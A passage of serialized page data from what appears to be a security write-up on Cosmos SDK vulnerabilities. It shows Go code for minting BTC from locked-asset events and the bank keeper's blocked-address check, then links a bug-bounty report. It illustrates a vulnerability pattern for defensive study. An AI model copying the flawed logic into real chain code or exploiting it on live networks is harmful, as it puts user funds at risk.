style":230},[81970],{"type":28,"value":81971}," nil",{"type":23,"tag":213,"props":81973,"children":81974},{"style":220},[81975],{"type":28,"value":1375},{"type":23,"tag":213,"props":81977,"children":81978},{"class":215,"line":1176},[81979,81983,81987,81991,81996,82000,82005,82009,82014,82018,82022],{"type":23,"tag":213,"props":81980,"children":81981},{"style":1362},[81982],{"type":28,"value":79129},{"type":23,"tag":213,"props":81984,"children":81985},{"style":230},[81986],{"type":28,"value":81971},{"type":23,"tag":213,"props":81988,"children":81989},{"style":220},[81990],{"type":28,"value":424},{"type":23,"tag":213,"props":81992,"children":81993},{"style":268},[81994],{"type":28,"value":81995},"fmt",{"type":23,"tag":213,"props":81997,"children":81998},{"style":220},[81999],{"type":28,"value":124},{"type":23,"tag":213,"props":82001,"children":82002},{"style":257},[82003],{"type":28,"value":82004},"Errorf",{"type":23,"tag":213,"props":82006,"children":82007},{"style":220},[82008],{"type":28,"value":265},{"type":23,"tag":213,"props":82010,"children":82011},{"style":246},[82012],{"type":28,"value":82013},"\"cannot accept AssetsLocked events: %w\"",{"type":23,"tag":213,"props":82015,"children":82016},{"style":220},[82017],{"type":28,"value":424},{"type":23,"tag":213,"props":82019,"children":82020},{"style":268},[82021],{"type":28,"value":48472},{"type":23,"tag":213,"props":82023,"children":82024},{"style":220},[82025],{"type":28,"value":2183},{"type":23,"tag":213,"props":82027,"children":82028},{"class":215,"line":1202},[82029],{"type":23,"tag":213,"props":82030,"children":82031},{"style":220},[82032],{"type":28,"value":3444},{"type":23,"tag":213,"props":82034,"children":82035},{"class":215,"line":1758},[82036],{"type":23,"tag":213,"props":82037,"children":82038},{"style":274},[82039],{"type":28,"value":81895},{"type":23,"tag":213,"props":82041,"children":82042},{"class":215,"line":1767},[82043],{"type":23,"tag":213,"props":82044,"children":82045},{"style":220},[82046],{"type":28,"value":2875},{"type":23,"tag":213,"props":82048,"children":82049},{"class":215,"line":1789},[82050],{"type":23,"tag":213,"props":82051,"children":82052},{"style":220},[82053],{"type":28,"value":1208},{"type":23,"tag":213,"props":82055,"children":82056},{"class":215,"line":1812},[82057],{"type":23,"tag":213,"props":82058,"children":82059},{"emptyLinePlaceholder":18},[82060],{"type":28,"value":530},{"type":23,"tag":213,"props":82062,"children":82063},{"class":215,"line":1838},[82064,82068,82072,82076,82080,82084,82088],{"type":23,"tag":213,"props":82065,"children":82066},{"style":230},[82067],{"type":28,"value":76353},{"type":23,"tag":213,"props":82069,"children":82070},{"style":220},[82071],{"type":28,"value":400},{"type":23,"tag":213,"props":82073,"children":82074},{"style":268},[82075],{"type":28,"value":81181},{"type":23,"tag":213,"props":82077,"children":82078},{"style":290},[82079],{"type":28,"value":79998},{"type":23,"tag":213,"props":82081,"children":82082},{"style":220},[82083],{"type":28,"value":298},{"type":23,"tag":213,"props":82085,"children":82086},{"style":257},[82087],{"type":28,"value":81930},{"type":23,"tag":213,"props":82089,"children":82090},{"style":220},[82091],{"type":28,"value":1511},{"type":23,"tag":213,"props":82093,"children":82094},{"class":215,"line":1851},[82095,82099,82103,82107,82111],{"type":23,"tag":213,"props":82096,"children":82097},{"style":268},[82098],{"type":28,"value":20278},{"type":23,"tag":213,"props":82100,"children":82101},{"style":290},[82102],{"type":28,"value":78694},{"type":23,"tag":213,"props":82104,"children":82105},{"style":220},[82106],{"type":28,"value":124},{"type":23,"tag":213,"props":82108,"children":82109},{"style":290},[82110],{"type":28,"value":76402},{"type":23,"tag":213,"props":82112,"children":82113},{"style":220},[82114],{"type":28,"value":944},{"type":23,"tag":213,"props":82116,"children":82117},{"class":215,"line":1864},[82118,82123,82127,82131,82136],{"type":23,"tag":213,"props":82119,"children":82120},{"style":268},[82121],{"type":28,"value":82122}," events",{"type":23,"tag":213,"props":82124,"children":82125},{"style":290},[82126],{"type":28,"value":78228},{"type":23,"tag":213,"props":82128,"children":82129},{"style":220},[82130],{"type":28,"value":124},{"type":23,"tag":213,"props":82132,"children":82133},{"style":290},[82134],{"type":28,"value":82135},"AssetsLockedEvents",{"type":23,"tag":213,"props":82137,"children":82138},{"style":220},[82139],{"type":28,"value":944},{"type":23,"tag":213,"props":82141,"children":82142},{"class":215,"line":1890},[82143,82147,82151],{"type":23,"tag":213,"props":82144,"children":82145},{"style":220},[82146],{"type":28,"value":298},{"type":23,"tag":213,"props":82148,"children":82149},{"style":290},[82150],{"type":28,"value":14929},{"type":23,"tag":213,"props":82152,"children":82153},{"style":220},[82154],{"type":28,"value":1375},{"type":23,"tag":213,"props":82156,"children":82157},{"class":215,"line":1899},[82158],{"type":23,"tag":213,"props":82159,"children":82160},{"style":274},[82161],{"type":28,"value":2257},{"type":23,"tag":213,"props":82163,"children":82164},{"class":215,"line":1912},[82165,82169,82173,82177,82182,82186,82190,82195],{"type":23,"tag":213,"props":82166,"children":82167},{"style":1362},[82168],{"type":28,"value":3131},{"type":23,"tag":213,"props":82170,"children":82171},{"style":268},[82172],{"type":28,"value":3136},{"type":23,"tag":213,"props":82174,"children":82175},{"style":220},[82176],{"type":28,"value":424},{"type":23,"tag":213,"props":82178,"children":82179},{"style":268},[82180],{"type":28,"value":82181},"event",{"type":23,"tag":213,"props":82183,"children":82184},{"style":274},[82185],{"type":28,"value":76469},{"type":23,"tag":213,"props":82187,"children":82188},{"style":1362},[82189],{"type":28,"value":77452},{"type":23,"tag":213,"props":82191,"children":82192},{"style":268},[82193],{"type":28,"value":82194}," events",{"type":23,"tag":213,"props":82196,"children":82197},{"style":220},[82198],{"type":28,"value":1375},{"type":23,"tag":213,"props":82200,"children":82201},{"class":215,"line":1921},[82202,82207,82211,82215,82219,82223,82227,82232,82236,82240,82244,82249],{"type":23,"tag":213,"props":82203,"children":82204},{"style":268},[82205],{"type":28,"value":82206}," recipient",{"type":23,"tag":213,"props":82208,"children":82209},{"style":220},[82210],{"type":28,"value":424},{"type":23,"tag":213,"props":82212,"children":82213},{"style":268},[82214],{"type":28,"value":48472},{"type":23,"tag":213,"props":82216,"children":82217},{"style":274},[82218],{"type":28,"value":76469},{"type":23,"tag":213,"props":82220,"children":82221},{"style":268},[82222],{"type":28,"value":78694},{"type":23,"tag":213,"props":82224,"children":82225},{"style":220},[82226],{"type":28,"value":124},{"type":23,"tag":213,"props":82228,"children":82229},{"style":257},[82230],{"type":28,"value":82231},"AccAddressFromBech32",{"type":23,"tag":213,"props":82233,"children":82234},{"style":220},[82235],{"type":28,"value":265},{"type":23,"tag":213,"props":82237,"children":82238},{"style":268},[82239],{"type":28,"value":82181},{"type":23,"tag":213,"props":82241,"children":82242},{"style":220},[82243],{"type":28,"value":124},{"type":23,"tag":213,"props":82245,"children":82246},{"style":268},[82247],{"type":28,"value":82248},"Recipient",{"type":23,"tag":213,"props":82250,"children":82251},{"style":220},[82252],{"type":28,"value":2183},{"type":23,"tag":213,"props":82254,"children":82255},{"class":215,"line":3879},[82256,82260,82264,82268,82272],{"type":23,"tag":213,"props":82257,"children":82258},{"style":1362},[82259],{"type":28,"value":3369},{"type":23,"tag":213,"props":82261,"children":82262},{"style":268},[82263],{"type":28,"value":48573},{"type":23,"tag":213,"props":82265,"children":82266},{"style":274},[82267],{"type":28,"value":64440},{"type":23,"tag":213,"props":82269,"children":82270},{"style":230},[82271],{"type":28,"value":81971},{"type":23,"tag":213,"props":82273,"children":82274},{"style":220},[82275],{"type":28,"value":1375},{"type":23,"tag":213,"props":82277,"children":82278},{"class":215,"line":3887},[82279,82283,82288,82292,82296,82300,82305,82309,82313],{"type":23,"tag":213,"props":82280,"children":82281},{"style":1362},[82282],{"type":28,"value":79129},{"type":23,"tag":213,"props":82284,"children":82285},{"style":268},[82286],{"type":28,"value":82287}," fmt",{"type":23,"tag":213,"props":82289,"children":82290},{"style":220},[82291],{"type":28,"value":124},{"type":23,"tag":213,"props":82293,"children":82294},{"style":257},[82295],{"type":28,"value":82004},{"type":23,"tag":213,"props":82297,"children":82298},{"style":220},[82299],{"type":28,"value":265},{"type":23,"tag":213,"props":82301,"children":82302},{"style":246},[82303],{"type":28,"value":82304},"\"failed to parse recipient address: %w\"",{"type":23,"tag":213,"props":82306,"children":82307},{"style":220},[82308],{"type":28,"value":424},{"type":23,"tag":213,"props":82310,"children":82311},{"style":268},[82312],{"type":28,"value":48472},{"type":23,"tag":213,"props":82314,"children":82315},{"style":220},[82316],{"type":28,"value":2183},{"type":23,"tag":213,"props":82318,"children":82319},{"class":215,"line":3918},[82320],{"type":23,"tag":213,"props":82321,"children":82322},{"style":220},[82323],{"type":28,"value":3444},{"type":23,"tag":213,"props":82325,"children":82326},{"class":215,"line":3926},[82327],{"type":23,"tag":213,"props":82328,"children":82329},{"emptyLinePlaceholder":18},[82330],{"type":28,"value":530},{"type":23,"tag":213,"props":82332,"children":82333},{"class":215,"line":3986},[82334,82338,82343,82347,82352,82356,82360,82364,82369,82373,82378],{"type":23,"tag":213,"props":82335,"children":82336},{"style":1362},[82337],{"type":28,"value":3369},{"type":23,"tag":213,"props":82339,"children":82340},{"style":268},[82341],{"type":28,"value":82342}," bytes",{"type":23,"tag":213,"props":82344,"children":82345},{"style":220},[82346],{"type":28,"value":124},{"type":23,"tag":213,"props":82348,"children":82349},{"style":257},[82350],{"type":28,"value":82351},"Equal",{"type":23,"tag":213,"props":82353,"children":82354},{"style":220},[82355],{"type":28,"value":265},{"type":23,"tag":213,"props":82357,"children":82358},{"style":268},[82359],{"type":28,"value":82181},{"type":23,"tag":213,"props":82361,"children":82362},{"style":220},[82363],{"type":28,"value":124},{"type":23,"tag":213,"props":82365,"children":82366},{"style":257},[82367],{"type":28,"value":82368},"TokenBytes",{"type":23,"tag":213,"props":82370,"children":82371},{"style":220},[82372],{"type":28,"value":18426},{"type":23,"tag":213,"props":82374,"children":82375},{"style":268},[82376],{"type":28,"value":82377},"sourceBTCToken",{"type":23,"tag":213,"props":82379,"children":82380},{"style":220},[82381],{"type":28,"value":14870},{"type":23,"tag":213,"props":82383,"children":82384},{"class":215,"line":9132},[82385,82390,82394,82398,82402,82407,82411,82415,82419,82423,82427,82431,82435,82439],{"type":23,"tag":213,"props":82386,"children":82387},{"style":268},[82388],{"type":28,"value":82389}," err",{"type":23,"tag":213,"props":82391,"children":82392},{"style":274},[82393],{"type":28,"value":511},{"type":23,"tag":213,"props":82395,"children":82396},{"style":268},[82397],{"type":28,"value":81309},{"type":23,"tag":213,"props":82399,"children":82400},{"style":220},[82401],{"type":28,"value":124},{"type":23,"tag":213,"props":82403,"children":82404},{"style":257},[82405],{"type":28,"value":82406},"mintBTC",{"type":23,"tag":213,"props":82408,"children":82409},{"style":220},[82410],{"type":28,"value":265},{"type":23,"tag":213,"props":82412,"children":82413},{"style":268},[82414],{"type":28,"value":20335},{"type":23,"tag":213,"props":82416,"children":82417},{"style":220},[82418],{"type":28,"value":424},{"type":23,"tag":213,"props":82420,"children":82421},{"style":268},[82422],{"type":28,"value":81704},{"type":23,"tag":213,"props":82424,"children":82425},{"style":220},[82426],{"type":28,"value":424},{"type":23,"tag":213,"props":82428,"children":82429},{"style":268},[82430],{"type":28,"value":82181},{"type":23,"tag":213,"props":82432,"children":82433},{"style":220},[82434],{"type":28,"value":124},{"type":23,"tag":213,"props":82436,"children":82437},{"style":268},[82438],{"type":28,"value":79108},{"type":23,"tag":213,"props":82440,"children":82441},{"style":220},[82442],{"type":28,"value":2183},{"type":23,"tag":213,"props":82444,"children":82445},{"class":215,"line":9150},[82446,82450,82454,82458,82462],{"type":23,"tag":213,"props":82447,"children":82448},{"style":1362},[82449],{"type":28,"value":58854},{"type":23,"tag":213,"props":82451,"children":82452},{"style":268},[82453],{"type":28,"value":48573},{"type":23,"tag":213,"props":82455,"children":82456},{"style":274},[82457],{"type":28,"value":64440},{"type":23,"tag":213,"props":82459,"children":82460},{"style":230},[82461],{"type":28,"value":81971},{"type":23,"tag":213,"props":82463,"children":82464},{"style":220},[82465],{"type":28,"value":1375},{"type":23,"tag":213,"props":82467,"children":82468},{"class":215,"line":9195},[82469,82473,82477,82481,82485],{"type":23,"tag":213,"props":82470,"children":82471},{"style":1362},[82472],{"type":28,"value":60782},{"type":23,"tag":213,"props":82474,"children":82475},{"style":268},[82476],{"type":28,"value":82287},{"type":23,"tag":213,"props":82478,"children":82479},{"style":220},[82480],{"type":28,"value":124},{"type":23,"tag":213,"props":82482,"children":82483},{"style":257},[82484],{"type":28,"value":82004},{"type":23,"tag":213,"props":82486,"children":82487},{"style":220},[82488],{"type":28,"value":1511},{"type":23,"tag":213,"props":82490,"children":82491},{"class":215,"line":9301},[82492,82497],{"type":23,"tag":213,"props":82493,"children":82494},{"style":246},[82495],{"type":28,"value":82496}," \"failed to mint BTC for event %v: %w\"",{"type":23,"tag":213,"props":82498,"children":82499},{"style":220},[82500],{"type":28,"value":944},{"type":23,"tag":213,"props":82502,"children":82503},{"class":215,"line":23557},[82504,82509,82513,82518],{"type":23,"tag":213,"props":82505,"children":82506},{"style":268},[82507],{"type":28,"value":82508}," event",{"type":23,"tag":213,"props":82510,"children":82511},{"style":220},[82512],{"type":28,"value":124},{"type":23,"tag":213,"props":82514,"children":82515},{"style":268},[82516],{"type":28,"value":82517},"Sequence",{"type":23,"tag":213,"props":82519,"children":82520},{"style":220},[82521],{"type":28,"value":944},{"type":23,"tag":213,"props":82523,"children":82524},{"class":215,"line":23592},[82525,82530],{"type":23,"tag":213,"props":82526,"children":82527},{"style":268},[82528],{"type":28,"value":82529}," err",{"type":23,"tag":213,"props":82531,"children":82532},{"style":220},[82533],{"type":28,"value":944},{"type":23,"tag":213,"props":82535,"children":82536},{"class":215,"line":23600},[82537],{"type":23,"tag":213,"props":82538,"children":82539},{"style":220},[82540],{"type":28,"value":82541}," )\n",{"type":23,"tag":213,"props":82543,"children":82544},{"class":215,"line":23608},[82545],{"type":23,"tag":213,"props":82546,"children":82547},{"style":220},[82548],{"type":28,"value":58938},{"type":23,"tag":213,"props":82550,"children":82551},{"class":215,"line":23617},[82552,82556,82560],{"type":23,"tag":213,"props":82553,"children":82554},{"style":220},[82555],{"type":28,"value":3407},{"type":23,"tag":213,"props":82557,"children":82558},{"style":1362},[82559],{"type":28,"value":3412},{"type":23,"tag":213,"props":82561,"children":82562},{"style":220},[82563],{"type":28,"value":1375},{"type":23,"tag":213,"props":82565,"children":82566},{"class":215,"line":23659},[82567],{"type":23,"tag":213,"props":82568,"children":82569},{"style":274},[82570],{"type":28,"value":82571}," ...\n",{"type":23,"tag":213,"props":82573,"children":82574},{"class":215,"line":23692},[82575],{"type":23,"tag":213,"props":82576,"children":82577},{"style":220},[82578],{"type":28,"value":3444},{"type":23,"tag":213,"props":82580,"children":82581},{"class":215,"line":23700},[82582],{"type":23,"tag":213,"props":82583,"children":82584},{"style":220},[82585],{"type":28,"value":2875},{"type":23,"tag":213,"props":82587,"children":82588},{"class":215,"line":23708},[82589],{"type":23,"tag":213,"props":82590,"children":82591},{"style":274},[82592],{"type":28,"value":2257},{"type":23,"tag":213,"props":82594,"children":82595},{"class":215,"line":23717},[82596],{"type":23,"tag":213,"props":82597,"children":82598},{"style":220},[82599],{"type":28,"value":1208},{"type":23,"tag":213,"props":82601,"children":82602},{"class":215,"line":23793},[82603],{"type":23,"tag":213,"props":82604,"children":82605},{"emptyLinePlaceholder":18},[82606],{"type":28,"value":530},{"type":23,"tag":213,"props":82608,"children":82609},{"class":215,"line":23826},[82610,82614,82618,82622,82626,82630,82634],{"type":23,"tag":213,"props":82611,"children":82612},{"style":230},[82613],{"type":28,"value":76353},{"type":23,"tag":213,"props":82615,"children":82616},{"style":220},[82617],{"type":28,"value":400},{"type":23,"tag":213,"props":82619,"children":82620},{"style":268},[82621],{"type":28,"value":81181},{"type":23,"tag":213,"props":82623,"children":82624},{"style":290},[82625],{"type":28,"value":79998},{"type":23,"tag":213,"props":82627,"children":82628},{"style":220},[82629],{"type":28,"value":298},{"type":23,"tag":213,"props":82631,"children":82632},{"style":257},[82633],{"type":28,"value":82406},{"type":23,"tag":213,"props":82635,"children":82636},{"style":220},[82637],{"type":28,"value":1511},{"type":23,"tag":213,"props":82639,"children":82640},{"class":215,"line":23834},[82641,82645,82649,82653,82657],{"type":23,"tag":213,"props":82642,"children":82643},{"style":268},[82644],{"type":28,"value":20278},{"type":23,"tag":213,"props":82646,"children":82647},{"style":290},[82648],{"type":28,"value":78694},{"type":23,"tag":213,"props":82650,"children":82651},{"style":220},[82652],{"type":28,"value":124},{"type":23,"tag":213,"props":82654,"children":82655},{"style":290},[82656],{"type":28,"value":76402},{"type":23,"tag":213,"props":82658,"children":82659},{"style":220},[82660],{"type":28,"value":944},{"type":23,"tag":213,"props":82662,"children":82663},{"class":215,"line":23842},[82664,82669,82673,82677,82682],{"type":23,"tag":213,"props":82665,"children":82666},{"style":268},[82667],{"type":28,"value":82668}," recipient",{"type":23,"tag":213,"props":82670,"children":82671},{"style":290},[82672],{"type":28,"value":78694},{"type":23,"tag":213,"props":82674,"children":82675},{"style":220},[82676],{"type":28,"value":124},{"type":23,"tag":213,"props":82678,"children":82679},{"style":290},[82680],{"type":28,"value":82681},"AccAddress",{"type":23,"tag":213,"props":82683,"children":82684},{"style":220},[82685],{"type":28,"value":944},{"type":23,"tag":213,"props":82687,"children":82688},{"class":215,"line":23879},[82689,82693,82698,82702,82707],{"type":23,"tag":213,"props":82690,"children":82691},{"style":268},[82692],{"type":28,"value":61636},{"type":23,"tag":213,"props":82694,"children":82695},{"style":290},[82696],{"type":28,"value":82697}," math",{"type":23,"tag":213,"props":82699,"children":82700},{"style":220},[82701],{"type":28,"value":124},{"type":23,"tag":213,"props":82703,"children":82704},{"style":290},[82705],{"type":28,"value":82706},"Int",{"type":23,"tag":213,"props":82708,"children":82709},{"style":220},[82710],{"type":28,"value":944},{"type":23,"tag":213,"props":82712,"children":82713},{"class":215,"line":23892},[82714,82718,82722],{"type":23,"tag":213,"props":82715,"children":82716},{"style":220},[82717],{"type":28,"value":298},{"type":23,"tag":213,"props":82719,"children":82720},{"style":290},[82721],{"type":28,"value":14929},{"type":23,"tag":213,"props":82723,"children":82724},{"style":220},[82725],{"type":28,"value":1375},{"type":23,"tag":213,"props":82727,"children":82728},{"class":215,"line":23905},[82729],{"type":23,"tag":213,"props":82730,"children":82731},{"style":274},[82732],{"type":28,"value":2257},{"type":23,"tag":213,"props":82734,"children":82735},{"class":215,"line":23918},[82736,82741,82745,82749,82753,82758,82762,82766],{"type":23,"tag":213,"props":82737,"children":82738},{"style":268},[82739],{"type":28,"value":82740}," err",{"type":23,"tag":213,"props":82742,"children":82743},{"style":274},[82744],{"type":28,"value":511},{"type":23,"tag":213,"props":82746,"children":82747},{"style":268},[82748],{"type":28,"value":81309},{"type":23,"tag":213,"props":82750,"children":82751},{"style":220},[82752],{"type":28,"value":124},{"type":23,"tag":213,"props":82754,"children":82755},{"style":268},[82756],{"type":28,"value":82757},"bankKeeper",{"type":23,"tag":213,"props":82759,"children":82760},{"style":220},[82761],{"type":28,"value":124},{"type":23,"tag":213,"props":82763,"children":82764},{"style":257},[82765],{"type":28,"value":81696},{"type":23,"tag":213,"props":82767,"children":82768},{"style":220},[82769],{"type":28,"value":1511},{"type":23,"tag":213,"props":82771,"children":82772},{"class":215,"line":23972},[82773,82777],{"type":23,"tag":213,"props":82774,"children":82775},{"style":268},[82776],{"type":28,"value":26241},{"type":23,"tag":213,"props":82778,"children":82779},{"style":220},[82780],{"type":28,"value":944},{"type":23,"tag":213,"props":82782,"children":82783},{"class":215,"line":23980},[82784,82789,82793,82798],{"type":23,"tag":213,"props":82785,"children":82786},{"style":268},[82787],{"type":28,"value":82788}," types",{"type":23,"tag":213,"props":82790,"children":82791},{"style":220},[82792],{"type":28,"value":124},{"type":23,"tag":213,"props":82794,"children":82795},{"style":268},[82796],{"type":28,"value":82797},"ModuleName",{"type":23,"tag":213,"props":82799,"children":82800},{"style":220},[82801],{"type":28,"value":944},{"type":23,"tag":213,"props":82803,"children":82804},{"class":215,"line":32336},[82805,82809],{"type":23,"tag":213,"props":82806,"children":82807},{"style":268},[82808],{"type":28,"value":82206},{"type":23,"tag":213,"props":82810,"children":82811},{"style":220},[82812],{"type":28,"value":944},{"type":23,"tag":213,"props":82814,"children":82815},{"class":215,"line":32357},[82816,82821],{"type":23,"tag":213,"props":82817,"children":82818},{"style":268},[82819],{"type":28,"value":82820}," coins",{"type":23,"tag":213,"props":82822,"children":82823},{"style":220},[82824],{"type":28,"value":944},{"type":23,"tag":213,"props":82826,"children":82827},{"class":215,"line":81004},[82828],{"type":23,"tag":213,"props":82829,"children":82830},{"style":220},[82831],{"type":28,"value":1918},{"type":23,"tag":213,"props":82833,"children":82834},{"class":215,"line":81017},[82835,82839,82843,82847,82851],{"type":23,"tag":213,"props":82836,"children":82837},{"style":1362},[82838],{"type":28,"value":2653},{"type":23,"tag":213,"props":82840,"children":82841},{"style":268},[82842],{"type":28,"value":48573},{"type":23,"tag":213,"props":82844,"children":82845},{"style":274},[82846],{"type":28,"value":64440},{"type":23,"tag":213,"props":82848,"children":82849},{"style":230},[82850],{"type":28,"value":81971},{"type":23,"tag":213,"props":82852,"children":82853},{"style":220},[82854],{"type":28,"value":1375},{"type":23,"tag":213,"props":82856,"children":82857},{"class":215,"line":81025},[82858,82862,82866,82870,82874,82878,82883,82887,82891],{"type":23,"tag":213,"props":82859,"children":82860},{"style":1362},[82861],{"type":28,"value":2839},{"type":23,"tag":213,"props":82863,"children":82864},{"style":268},[82865],{"type":28,"value":82287},{"type":23,"tag":213,"props":82867,"children":82868},{"style":220},[82869],{"type":28,"value":124},{"type":23,"tag":213,"props":82871,"children":82872},{"style":257},[82873],{"type":28,"value":82004},{"type":23,"tag":213,"props":82875,"children":82876},{"style":220},[82877],{"type":28,"value":265},{"type":23,"tag":213,"props":82879,"children":82880},{"style":246},[82881],{"type":28,"value":82882},"\"failed to send coins: %w\"",{"type":23,"tag":213,"props":82884,"children":82885},{"style":220},[82886],{"type":28,"value":424},{"type":23,"tag":213,"props":82888,"children":82889},{"style":268},[82890],{"type":28,"value":48472},{"type":23,"tag":213,"props":82892,"children":82893},{"style":220},[82894],{"type":28,"value":2183},{"type":23,"tag":213,"props":82896,"children":82897},{"class":215,"line":81033},[82898],{"type":23,"tag":213,"props":82899,"children":82900},{"style":220},[82901],{"type":28,"value":2875},{"type":23,"tag":213,"props":82903,"children":82904},{"class":215,"line":81041},[82905],{"type":23,"tag":213,"props":82906,"children":82907},{"style":274},[82908],{"type":28,"value":2257},{"type":23,"tag":213,"props":82910,"children":82911},{"class":215,"line":81081},[82912],{"type":23,"tag":213,"props":82913,"children":82914},{"style":220},[82915],{"type":28,"value":1208},{"type":23,"tag":202,"props":82917,"children":82919},{"code":82918,"language":76217,"meta":7,"className":76218,"style":7},"func (k BaseKeeper) SendCoinsFromModuleToAccount(\n ctx context.Context, senderModule string, recipientAddr sdk.AccAddress, amt sdk.Coins,\n) error {\n ...\n if k.BlockedAddr(recipientAddr) {\n return errorsmod.Wrapf(sdkerrors.ErrUnauthorized, \"%s is not allowed to receive funds\", recipientAddr)\n }\n ...\n}\n",[82920],{"type":23,"tag":209,"props":82921,"children":82922},{"__ignoreMap":7},[82923,82955,83034,83049,83057,83088,83146,83153,83160],{"type":23,"tag":213,"props":82924,"children":82925},{"class":215,"line":216},[82926,82930,82934,82938,82943,82947,82951],{"type":23,"tag":213,"props":82927,"children":82928},{"style":230},[82929],{"type":28,"value":76353},{"type":23,"tag":213,"props":82931,"children":82932},{"style":220},[82933],{"type":28,"value":400},{"type":23,"tag":213,"props":82935,"children":82936},{"style":268},[82937],{"type":28,"value":81181},{"type":23,"tag":213,"props":82939,"children":82940},{"style":290},[82941],{"type":28,"value":82942},"BaseKeeper",{"type":23,"tag":213,"props":82944,"children":82945},{"style":220},[82946],{"type":28,"value":298},{"type":23,"tag":213,"props":82948,"children":82949},{"style":257},[82950],{"type":28,"value":81696},{"type":23,"tag":213,"props":82952,"children":82953},{"style":220},[82954],{"type":28,"value":1511},{"type":23,"tag":213,"props":82956,"children":82957},{"class":215,"line":226},[82958,82962,82966,82970,82974,82978,82983,82987,82991,82996,83000,83004,83008,83012,83017,83021,83025,83030],{"type":23,"tag":213,"props":82959,"children":82960},{"style":268},[82961],{"type":28,"value":25898},{"type":23,"tag":213,"props":82963,"children":82964},{"style":290},[82965],{"type":28,"value":76393},{"type":23,"tag":213,"props":82967,"children":82968},{"style":220},[82969],{"type":28,"value":124},{"type":23,"tag":213,"props":82971,"children":82972},{"style":290},[82973],{"type":28,"value":76402},{"type":23,"tag":213,"props":82975,"children":82976},{"style":220},[82977],{"type":28,"value":424},{"type":23,"tag":213,"props":82979,"children":82980},{"style":268},[82981],{"type":28,"value":82982},"senderModule",{"type":23,"tag":213,"props":82984,"children":82985},{"style":290},[82986],{"type":28,"value":36087},{"type":23,"tag":213,"props":82988,"children":82989},{"style":220},[82990],{"type":28,"value":424},{"type":23,"tag":213,"props":82992,"children":82993},{"style":268},[82994],{"type":28,"value":82995},"recipientAddr",{"type":23,"tag":213,"props":82997,"children":82998},{"style":290},[82999],{"type":28,"value":78694},{"type":23,"tag":213,"props":83001,"children":83002},{"style":220},[83003],{"type":28,"value":124},{"type":23,"tag":213,"props":83005,"children":83006},{"style":290},[83007],{"type":28,"value":82681},{"type":23,"tag":213,"props":83009,"children":83010},{"style":220},[83011],{"type":28,"value":424},{"type":23,"tag":213,"props":83013,"children":83014},{"style":268},[83015],{"type":28,"value":83016},"amt",{"type":23,"tag":213,"props":83018,"children":83019},{"style":290},[83020],{"type":28,"value":78694},{"type":23,"tag":213,"props":83022,"children":83023},{"style":220},[83024],{"type":28,"value":124},{"type":23,"tag":213,"props":83026,"children":83027},{"style":290},[83028],{"type":28,"value":83029},"Coins",{"type":23,"tag":213,"props":83031,"children":83032},{"style":220},[83033],{"type":28,"value":944},{"type":23,"tag":213,"props":83035,"children":83036},{"class":215,"line":524},[83037,83041,83045],{"type":23,"tag":213,"props":83038,"children":83039},{"style":220},[83040],{"type":28,"value":298},{"type":23,"tag":213,"props":83042,"children":83043},{"style":290},[83044],{"type":28,"value":14929},{"type":23,"tag":213,"props":83046,"children":83047},{"style":220},[83048],{"type":28,"value":1375},{"type":23,"tag":213,"props":83050,"children":83051},{"class":215,"line":533},[83052],{"type":23,"tag":213,"props":83053,"children":83054},{"style":274},[83055],{"type":28,"value":83056}," ...\n",{"type":23,"tag":213,"props":83058,"children":83059},{"class":215,"line":543},[83060,83064,83068,83072,83076,83080,83084],{"type":23,"tag":213,"props":83061,"children":83062},{"style":1362},[83063],{"type":28,"value":15839},{"type":23,"tag":213,"props":83065,"children":83066},{"style":268},[83067],{"type":28,"value":81309},{"type":23,"tag":213,"props":83069,"children":83070},{"style":220},[83071],{"type":28,"value":124},{"type":23,"tag":213,"props":83073,"children":83074},{"style":257},[83075],{"type":28,"value":81712},{"type":23,"tag":213,"props":83077,"children":83078},{"style":220},[83079],{"type":28,"value":265},{"type":23,"tag":213,"props":83081,"children":83082},{"style":268},[83083],{"type":28,"value":82995},{"type":23,"tag":213,"props":83085,"children":83086},{"style":220},[83087],{"type":28,"value":14870},{"type":23,"tag":213,"props":83089,"children":83090},{"class":215,"line":551},[83091,83095,83100,83104,83108,83112,83116,83120,83125,83129,83134,83138,83142],{"type":23,"tag":213,"props":83092,"children":83093},{"style":1362},[83094],{"type":28,"value":39256},{"type":23,"tag":213,"props":83096,"children":83097},{"style":268},[83098],{"type":28,"value":83099}," errorsmod",{"type":23,"tag":213,"props":83101,"children":83102},{"style":220},[83103],{"type":28,"value":124},{"type":23,"tag":213,"props":83105,"children":83106},{"style":257},[83107],{"type":28,"value":80963},{"type":23,"tag":213,"props":83109,"children":83110},{"style":220},[83111],{"type":28,"value":265},{"type":23,"tag":213,"props":83113,"children":83114},{"style":268},[83115],{"type":28,"value":80625},{"type":23,"tag":213,"props":83117,"children":83118},{"style":220},[83119],{"type":28,"value":124},{"type":23,"tag":213,"props":83121,"children":83122},{"style":268},[83123],{"type":28,"value":83124},"ErrUnauthorized",{"type":23,"tag":213,"props":83126,"children":83127},{"style":220},[83128],{"type":28,"value":424},{"type":23,"tag":213,"props":83130,"children":83131},{"style":246},[83132],{"type":28,"value":83133},"\"%s is not allowed to receive funds\"",{"type":23,"tag":213,"props":83135,"children":83136},{"style":220},[83137],{"type":28,"value":424},{"type":23,"tag":213,"props":83139,"children":83140},{"style":268},[83141],{"type":28,"value":82995},{"type":23,"tag":213,"props":83143,"children":83144},{"style":220},[83145],{"type":28,"value":2183},{"type":23,"tag":213,"props":83147,"children":83148},{"class":215,"line":570},[83149],{"type":23,"tag":213,"props":83150,"children":83151},{"style":220},[83152],{"type":28,"value":9680},{"type":23,"tag":213,"props":83154,"children":83155},{"class":215,"line":655},[83156],{"type":23,"tag":213,"props":83157,"children":83158},{"style":274},[83159],{"type":28,"value":83056},{"type":23,"tag":213,"props":83161,"children":83162},{"class":215,"line":1176},[83163],{"type":23,"tag":213,"props":83164,"children":83165},{"style":220},[83166],{"type":28,"value":1208},{"type":23,"tag":24,"props":83168,"children":83169},{},[83170,83172,83179],{"type":28,"value":83171},"This shows even well-known bug classes still resurface from time to time due to unforeseen invariant violations. Additional examples include ",{"type":23,"tag":36,"props":83173,"children":83176},{"href":83174,"rel":83175},"https://hackerone.com/reports/3018307",[40],[83177],{"type":28,"value":83178},"improper decimal handling in the group module",{"type":28,"value":124},{"type":23,"tag":47,"props":83181,"children":83183},{"id":83182},"same-same-but-different",[83184],{"type":28,"value":83185},"Same, Same... But Different",{"type":23,"tag":24,"props":83187,"children":83188},{},[83189,83191,83197,83198,83204,83205,83211,83212,83218],{"type":28,"value":83190},"Cosmos exposes several consensus-level interfaces, such as 